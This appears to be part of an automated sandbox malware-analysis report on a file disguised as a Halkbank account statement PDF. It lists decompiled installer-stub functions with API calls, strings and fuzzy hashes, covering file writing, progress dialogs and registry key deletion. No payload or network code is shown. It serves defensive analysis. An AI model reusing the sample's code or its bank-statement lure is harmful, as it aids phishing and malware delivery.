0x00402705
0x00402c2a
0x00402c2d
0x0040270b
0x0040270b
0x00402712
0x00402714
0x00402714
0x0040271a
0x0040287e
0x0040287e
0x00402881
0x00402886
0x004015b6
0x0040292e
0x0040292e
0x00000000
0x00402720
0x00402721
0x0040272c
0x0040272f
0x0040273b
0x0040273f
0x004027d7
0x004027ef
0x004027ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402745
0x00402745
0x00402748
0x00402749
0x0040274c
0x00402751
0x00402758
0x00402760
0x00000000
0x00402766
0x00402766
0x0040276b
0x00000000
0x00402771
0x00402771
0x00402779
0x0040277c
0x0040277f
0x0040283a
0x00402841
0x00402785
0x0040278b
0x00402797
0x00402801
0x00402801
0x00402799
0x00402799
0x0040279c
0x0040279e
0x0040279e
0x0040279e
0x004027a1
0x004027a6
0x004027a9
0x00000000
0x00000000
0x004027ab
0x004027ae
0x004027bc
0x004027c2
0x004027d0
0x00000000
0x004027d2
0x00000000
0x004027d2
0x00000000
0x004027d0
0x0040279e
0x00402804
0x00402807
0x00000000
0x00402809
0x0040280e
0x0040284f
0x00402871
0x00402878
0x0040285d
0x0040285d
0x00402860
0x00402863
0x00402866
0x00402866
0x00000000
0x00402817
0x00402817
0x0040281a
0x0040281d
0x00402823
0x00402827
0x0040282a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040282a
0x0040280e
0x00402807
0x0040277f
0x0040276b
0x00402760
0x00000000
0x0040282c
0x0040282c
0x0040282f
0x00402838
0x00000000
0x0040272f
0x0040271a
0x00402c33
0x00402c39

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402758
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC

Part of subcall function 00406239: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040624F

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878

Strings

9, xrefs: 0040273B

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction ID: 581cf2785626502de532f206a1de9da9d9b8d20bcd24121b7f7bd1133decb9a2
Opcode Fuzzy Hash: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
Instruction Fuzzy Hash: CE51FB75D00219AADF20EF95CA88AAEBB75FF04304F50417BE541B62D4D7B49D82CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004068EF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004068EF(WCHAR* _a4) {
				short _t5;
				short _t7;
				WCHAR* _t19;
				WCHAR* _t20;
				WCHAR* _t21;

				_t20 = _a4;
				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
					_t20 =  &(_t20[4]);
				}
				if( *_t20 != 0 && E00405FAE(_t20) != 0) {
					_t20 =  &(_t20[2]);
				}
				_t5 =  *_t20;
				_t21 = _t20;
				_t19 = _t20;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((short*)(E00405F64(L"*?|<>/\":", _t5))) == 0) {
							E00406113(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
							_t19 = CharNextW(_t19);
						}
						_t20 = CharNextW(_t20);
						_t5 =  *_t20;
					} while (_t5 != 0);
				}
				 *_t19 =  *_t19 & 0x00000000;
				while(1) {
					_push(_t19);
					_push(_t21);
					_t19 = CharPrevW();
					_t7 =  *_t19;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t19 =  *_t19 & 0x00000000;
					if(_t21 < _t19) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x004068f1
0x004068fa
0x00406911
0x00406911
0x00406918
0x00406924
0x00406924
0x00406927
0x0040692a
0x0040692f
0x00406931
0x0040693a
0x0040693e
0x0040695b
0x00406963
0x00406963
0x00406968
0x0040696a
0x0040696d
0x00406972
0x00406973
0x00406977
0x00406977
0x00406978
0x0040697f
0x00406981
0x00406988
0x00000000
0x00000000
0x00406990
0x00406996
0x00000000
0x00000000
0x00000000
0x00406996
0x0040699b

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,7476FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
CharNextW.USER32(?,00000000,7476FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
CharPrevW.USER32(?,?,7476FAA0,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

Strings

*?|<>/":, xrefs: 00406941
C:\Users\user\AppData\Local\Temp\, xrefs: 004068F0

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-4010320282
Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction ID: d28fb8c2eefe6f61a155ceb01790bbf8b21f4710aa7989e54d8eeb8481a577c9
Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
Instruction Fuzzy Hash: 2611089580061295DB303B18CC40BB762F8AF99B50F12403FE98A776C1E77C4C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 0040302E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040302E(intOrPtr _a4) {
				short _v132;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x420efc;
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x420efc = 0;
					return _t15;
				}
				if( *0x420efc != 0) {
					return E00406A71(0);
				}
				_t6 = GetTickCount();
				if(_t6 >  *0x42a26c) {
					if( *0x42a268 == 0) {
						_t7 = CreateDialogParamW( *0x42a260, 0x6f, 0, E00402F93, 0);
						 *0x420efc = _t7;
						return ShowWindow(_t7, 5);
					}
					if(( *0x42a314 & 0x00000001) != 0) {
						wsprintfW( &_v132, L"... %d%%", E00403012());
						return E004056CA(0,  &_v132);
					}
				}
				return _t6;
			}

0x0040303d
0x0040303f
0x00403046
0x00403049
0x00403049
0x0040304f
0x00000000
0x0040304f
0x0040305d
0x00000000
0x00403060
0x00403067
0x00403073
0x0040307b
0x004030b9
0x004030c2
0x00000000
0x004030c7
0x00403084
0x00403095
0x00000000
0x004030a3
0x00403084
0x004030cf

APIs

DestroyWindow.USER32(?,00000000), ref: 00403049
GetTickCount.KERNEL32 ref: 00403067
wsprintfW.USER32 ref: 00403095

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

CreateDialogParamW.USER32 ref: 004030B9
ShowWindow.USER32(00000000,00000005), ref: 004030C7

Part of subcall function 00403012: MulDiv.KERNEL32(?,00000064,?), ref: 00403027

Strings

... %d%%, xrefs: 0040308F

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
Instruction ID: 5af6bf9b0b70cf9307c1258d0e5a667b07be53d22b58a3258066d7aee54b172b
Opcode Fuzzy Hash: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
Instruction Fuzzy Hash: E8018E70553614DBC7317F60AE08A5A3EACAB00F06F54457AF841B21E9DAB84645CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 00404F7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404F7F(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404f8d
0x00404f9a
0x00404fa0
0x00404fde
0x00404fde
0x00404fed
0x00404ff4
0x00000000
0x00404ff6
0x00404fa2
0x00404fb1
0x00404fb9
0x00404fbc
0x00404fce
0x00404fd4
0x00404fdb
0x00000000
0x00404fdb
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404F9A
GetMessagePos.USER32 ref: 00404FA2
ScreenToClient.USER32 ref: 00404FBC
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FCE
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FF4

Strings

f, xrefs: 00404FD0

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: ce4c7d6d39dceca23aa6ebdb29af7737867007859e7bede0b388bd4d525dd41f
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 3C014C71940219BADB00DBA4DD85BFEBBB8AF54711F10012BBB50B61C0D6B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00403012();
					_t19 = L"unpacking data: %d%%";
					if( *0x42a270 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fd3
0x00402fd8
0x00402fda
0x00402fda
0x00402fe5
0x00402ff5
0x00403007
0x00403007
0x0040300f

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
wsprintfW.USER32 ref: 00402FE5
SetWindowTextW.USER32(?,?), ref: 00402FF5
SetDlgItemTextW.USER32 ref: 00403007

Strings

verifying installer: %d%%, xrefs: 00402FDA
unpacking data: %d%%, xrefs: 00402FD3, 00402FE3

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction ID: 34ad84b97f90b05cf42cbebec4ee1aaae98efe268bf46a139428006d78f28757
Opcode Fuzzy Hash: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction Fuzzy Hash: 25F0497050020DABEF246F60DD49BEA3B69FB00309F00803AFA05B51D0DFBD9A559F59

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402950(void* __ebx) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				void* _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405FAE(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406133(_t55);
				_t29 = E00406158(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x42a274;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004035F8(_t49);
							E004035E2(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E00403371(_t51,  *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t51 =  *_t59;
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00406113( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E0040620A( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E00403371(_t51,  *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029e7
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32 ref: 00402A06
GlobalFree.KERNEL32 ref: 00402A19
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction ID: 78b93316678d616cb595922dcd62a83f4062aa2fb33f08fb70827f98fa9650ab
Opcode Fuzzy Hash: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction Fuzzy Hash: E131B171D00124BBCF216FA9CE89D9EBE79AF09364F10023AF461762E1CB794D429B58

Uniqueness

Uniqueness Score: -1.00%

Function 00404E71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404E71(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E004066A5(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E004066A5(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E004066A5(_t44, _t50, 0x423748, 0x423748, _a8);
				wsprintfW(_t34 + lstrlenW(0x423748) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x429238, _a4, 0x423748);
			}

0x00404e7a
0x00404e7f
0x00404e87
0x00404e88
0x00404e95
0x00404e9d
0x00404e9e
0x00404ea0
0x00404ea2
0x00404ea4
0x00404ea7
0x00404ea7
0x00404eae
0x00404eb4
0x00404eb4
0x00404ebb
0x00404ec2
0x00404ec5
0x00404ec8
0x00404ec8
0x00404ecc
0x00404edc
0x00404ede
0x00404ee1
0x00404e8a
0x00404e8a
0x00404e91
0x00404e91
0x00404ee9
0x00404ef4
0x00404f0a
0x00404f1b
0x00404f37

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
wsprintfW.USER32 ref: 00404F1B
SetDlgItemTextW.USER32 ref: 00404F2E

Strings

H7B, xrefs: 00404F04
%u.%u%s%s, xrefs: 00404EFC

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction ID: 20619224473e8c08b4fba53027c62ddcf1c3fef784a2ba69f514aa474de30786
Opcode Fuzzy Hash: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction Fuzzy Hash: 1A11D8736041283BDB00A5ADDC45E9F3298AB81338F150637FA26F61D1EA79882182E8

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004064D5(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406A35(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74

